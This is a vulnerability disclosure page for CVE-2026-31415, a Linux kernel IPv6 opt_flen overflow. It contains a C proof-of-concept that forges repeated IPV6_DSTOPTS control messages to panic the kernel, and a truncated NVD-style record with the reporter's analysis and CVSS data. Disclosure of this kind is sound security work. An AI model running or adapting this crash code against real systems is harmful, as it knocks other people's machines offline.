CVE-2026-31415

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/in6.h> #include <sys/types.h> #include <sys/user.h> #define IPV6_DSTOPTS 59 // Simplified PoC logic to demonstrate the cmsg construction int main() { int s; struct sockaddr_in6 addr; struct msghdr msg = {0}; struct iovec iov; char data_buf[128] = "test"; // Create IPv6 socket s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } // Setup target address memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_addr = in6addr_loopback; iov.iov_base = data_buf; iov.iov_len = sizeof(data_buf); msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; // Allocate buffer for control messages // We need 32 large options (2048 bytes each) and 1 small option (8 bytes) // Total calculation: 32 * CMSG_SPACE(2048) + CMSG_SPACE(8) int large_opt_len = 2048; int num_large_opts = 32; int total_ctrl_size = num_large_opts * CMSG_SPACE(large_opt_len) + CMSG_SPACE(8); char *ctrl_buf = malloc(total_ctrl_size); memset(ctrl_buf, 0, total_ctrl_size); msg.msg_control = ctrl_buf; msg.msg_controllen = total_ctrl_size; struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); // Forge 32 large IPV6_DSTOPTS headers // hdrlen = 255 implies len = (255+1)*8 = 2048 for (int i = 0; i < num_large_opts; i++) { if (cmsg == NULL) break; cmsg->cmsg_level = SOL_IPV6; cmsg->cmsg_type = IPV6_DSTOPTS; cmsg->cmsg_len = CMSG_LEN(large_opt_len); // Set hdrlen to 255 (byte 1 of the option header) unsigned char *opt_data = CMSG_DATA(cmsg); memset(opt_data, 0, large_opt_len); opt_data[1] = 255; cmsg = CMSG_NXTHDR(&msg, cmsg); } // Forge 1 small IPV6_DSTOPTS header // hdrlen = 0 implies len = 8 if (cmsg) { cmsg->cmsg_level = SOL_IPV6; cmsg->cmsg_type = IPV6_DSTOPTS; cmsg->cmsg_len = CMSG_LEN(8); } // Trigger the vulnerability // Note: This typically requires CAP_NET_RAW. // In a real exploit scenario, unprivileged users might use user namespaces. printf("Sending payload to trigger opt_flen overflow...\n"); ssize_t sent = sendmsg(s, &msg, 0); if (sent < 0) { perror("sendmsg failed (might need CAP_NET_RAW)"); } else { printf("Payload sent. System may panic if vulnerable.\n"); } free(ctrl_buf); close(s); return 0; }

{"cve": {"id": "CVE-2026-31415", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:10.707", "lastModified": "2026-05-20T15:41:05.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: avoid overflows in ip6_datagram_send_ctl()\n\nYiming Qian reported :\n<quote>\n I believe I found a locally triggerable kernel bug in the IPv6 sendmsg\n ancillary-data path that can panic the kernel via `skb_under_panic()`\n (local DoS).\n\n The core issue is a mismatch between:\n\n - a 16-bit length accumulator (`struct ipv6_txoptions::opt_flen`, type\n `__u16`) and\n - a pointer to the *last* provided destination-options header (`opt->dst1opt`)\n\n when multiple `IPV6_DSTOPTS` control messages (cmsgs) are provided.\n\n - `include/net/ipv6.h`:\n - `struct ipv6_txoptions::opt_flen` is `__u16` (wrap possible).\n (lines 291-307, especially 298)\n - `net/ipv6/datagram.c:ip6_datagram_send_ctl()`:\n - Accepts repeated `IPV6_DSTOPTS` and accumulates into `opt_flen`\n without rejecting duplicates. (lines 909-933)\n - `net/ipv6/ip6_output.c:__ip6_append_data()`:\n - Uses `opt->opt_flen + opt->opt_nflen` to compute header\n sizes/headroom decisions. (lines 1448-1466, especially 1463-1465)\n - `net/ipv6/ip6_output.c:__ip6_make_skb()`:\n - Calls `ipv6_push_frag_opts()` if `opt->opt_flen` is non-zero.\n (lines 1930-1934)\n - `net/ipv6/exthdrs.c:ipv6_push_frag_opts()` / `ipv6_push_exthdr()`:\n - Push size comes from `ipv6_optlen(opt->dst1opt)` (based on the\n pointed-to header). (lines 1179-1185 and 1206-1211)\n\n 1. `opt_flen` is a 16-bit accumulator:\n\n - `include/net/ipv6.h:298` defines `__u16 opt_flen; /* after fragment hdr */`.\n\n 2. `ip6_datagram_send_ctl()` accepts *repeated* `IPV6_DSTOPTS` cmsgs\n and increments `opt_flen` each time:\n\n - In `net/ipv6/datagram.c:909-933`, for `IPV6_DSTOPTS`:\n - It computes `len = ((hdr->hdrlen + 1) << 3);`\n - It checks `CAP_NET_RAW` using `ns_capable(net->user_ns,\n CAP_NET_RAW)`. (line 922)\n - Then it does:\n - `opt->opt_flen += len;` (line 927)\n - `opt->dst1opt = hdr;` (line 928)\n\n There is no duplicate rejection here (unlike the legacy\n `IPV6_2292DSTOPTS` path which rejects duplicates at\n `net/ipv6/datagram.c:901-904`).\n\n If enough large `IPV6_DSTOPTS` cmsgs are provided, `opt_flen` wraps\n while `dst1opt` still points to a large (2048-byte)\n destination-options header.\n\n In the attached PoC (`poc.c`):\n\n - 32 cmsgs with `hdrlen=255` => `len = (255+1)*8 = 2048`\n - 1 cmsg with `hdrlen=0` => `len = 8`\n - Total increment: `32*2048 + 8 = 65544`, so `(__u16)opt_flen == 8`\n - The last cmsg is 2048 bytes, so `dst1opt` points to a 2048-byte header.\n\n 3. The transmit path sizes headers using the wrapped `opt_flen`:\n\n- In `net/ipv6/ip6_output.c:1463-1465`:\n - `headersize = sizeof(struct ipv6hdr) + (opt ? opt->opt_flen +\n opt->opt_nflen : 0) + ...;`\n\n With wrapped `opt_flen`, `headersize`/headroom decisions underestimate\n what will be pushed later.\n\n 4. When building the final skb, the actual push length comes from\n `dst1opt` and is not limited by wrapped `opt_flen`:\n\n - In `net/ipv6/ip6_output.c:1930-1934`:\n - `if (opt->opt_flen) proto = ipv6_push_frag_opts(skb, opt, proto);`\n - In `net/ipv6/exthdrs.c:1206-1211`, `ipv6_push_frag_opts()` pushes\n `dst1opt` via `ipv6_push_exthdr()`.\n - In `net/ipv6/exthdrs.c:1179-1184`, `ipv6_push_exthdr()` does:\n - `skb_push(skb, ipv6_optlen(opt));`\n - `memcpy(h, opt, ipv6_optlen(opt));`\n\n With insufficient headroom, `skb_push()` underflows and triggers\n `skb_under_panic()` -> `BUG()`:\n\n - `net/core/skbuff.c:2669-2675` (`skb_push()` calls `skb_under_panic()`)\n - `net/core/skbuff.c:207-214` (`skb_panic()` ends in `BUG()`)\n\n - The `IPV6_DSTOPTS` cmsg path requires `CAP_NET_RAW` in the target\n netns user namespace (`ns_capable(net->user_ns, CAP_NET_RAW)`).\n - Root (or any task with `CAP_NET_RAW`) can trigger this without user\n namespaces.\n - An unprivileged `uid=1000` user can trigger this if unprivileged\n user namespaces are enabled and it can create a userns+netns to obtain\n namespaced `CAP_NET_RAW` (the attached PoC does this).\n\n - Local denial of service: kernel BUG/panic (system crash).\n -\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"ope ... (truncated)